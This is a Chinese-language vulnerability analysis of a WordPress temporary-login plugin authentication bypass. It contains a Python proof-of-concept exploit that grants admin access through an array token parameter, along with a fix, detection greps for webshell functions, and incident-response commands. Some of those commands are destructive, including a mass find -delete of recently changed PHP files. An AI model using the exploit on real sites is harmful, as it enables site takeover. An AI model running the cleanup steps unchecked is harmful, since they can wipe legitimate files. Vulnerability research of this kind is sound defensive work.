WordPress Temporary Login Plugin 1.0.0 认证绕过漏洞（CVE-2026-7567）深度分析

┌─────────────────────────────────────────────────────────────┐
│                      攻击者发起请求                          │
│  GET /wp-admin/?temp-login-token[] HTTP/1.1                 │
│  Host: victim-wordpress.com                                 │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────┐
│              WordPress 处理请求                              │
│  1. init 钩子触发 temp_login_auto_login()                   │
│  2. 读取 $_GET['temp-login-token'] = []                     │
│  3. get_option('temp_login_token') = ""                     │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────┐
│            PHP 松散比较：[] == ""                            │
│                    结果：TRUE ✓                              │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────┐
│              认证成功，执行登录逻辑                          │
│  1. wp_set_current_user(预配置的用户ID)                     │
│  2. wp_set_auth_cookie() - 设置认证Cookie                   │
│  3. wp_redirect(admin_url()) - 重定向到管理后台             │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────┐
│                    账户接管成功                              │
│  攻击者获得完整的WordPress管理员权限                         │
└─────────────────────────────────────────────────────────────┘

#!/usr/bin/env python3
import requests

# 漏洞利用的核心代码
target = input("Enter Target (example: https://evil.com/): ")
url = target + "wp-admin/?temp-login-token[]"

# 发送恶意请求
response = requests.get(url, allow_redirects=True)

# 检查是否成功获取Cookie
if 'wp-settings-time' in str(response.cookies):
    print("[✓] SUCCESS! Authentication bypassed!")
    
    # 验证管理员权限
    admin_check = requests.get(
        response.url.replace('wp-login.php', 'wp-admin/'),
        cookies=response.cookies
    )
    
    if 'Dashboard' in admin_check.text:
        print("[✓] Full admin access confirmed!")

function temp_login_auto_login() {
    // 验证是否存在且为字符串
    if (!isset($_GET['temp-login-token']) 
        || !is_string($_GET['temp-login-token'])) {
        return;
    }
    
    $provided_token = $_GET['temp-login-token'];
    $stored_token = get_option('temp_login_token', '');
    
    // Token不能为空
    if (empty($stored_token) || empty($provided_token)) {
        return;
    }
    
    // 使用安全比较
    if (hash_equals($stored_token, $provided_token)) {
        // 登录逻辑
        $user_id = get_option('temp_login_user_id', 0);
        if ($user_id && get_userdata($user_id)) {
            wp_set_current_user($user_id);
            wp_set_auth_cookie($user_id);
            wp_redirect(admin_url());
            exit;
        }
    }
}

# 1. Web服务器日志检测
grep -E "temp-login-token\[.*\]" /var/log/apache2/access.log
grep -E "wp-admin/\?temp-login-token" /var/log/nginx/access.log

# 2. 检测异常用户
mysql -u root -p wordpress -e "
SELECT ID, user_login, user_email, user_registered 
FROM wp_users 
WHERE user_registered > DATE_SUB(NOW(), INTERVAL 30 DAY) 
AND user_login NOT LIKE 'admin%';
"

# 3. 检测最近修改的文件
find /var/www/html -type f -mtime -7 -name "*.php" \
  -exec grep -l "eval\|base64_decode\|system\|shell_exec" {} \;

# 4. 检测隐藏管理员
wp user list --role=administrator --allow-root

# 5. 检查插件完整性
wp plugin verify-checksums --all --allow-root

# Step 1: 隔离站点
# 通过.htaccess限制访问
echo "Deny from all" > /var/www/html/.htaccess

# Step 2: 备份当前状态（证据保全）
tar -czf breached_backup.tar.gz /var/www/html/
mysqldump -u root -p wordpress > breached_db.sql

# Step 3: 分析攻击痕迹
grep -r "temp-login-token" /var/log/apache2/* > attack_evidence.txt

# Step 4: 清理后门
find /var/www/html -type f -name "*.php" -mtime -7 -delete

# Step 5: 恢复干净备份
# 从已知干净备份恢复

# Step 6: 全面重置
wp user reset-password --all --allow-root
wp plugin deactivate --all --allow-root
wp plugin install --activate temporary-login --version=1.0.1 --allow-root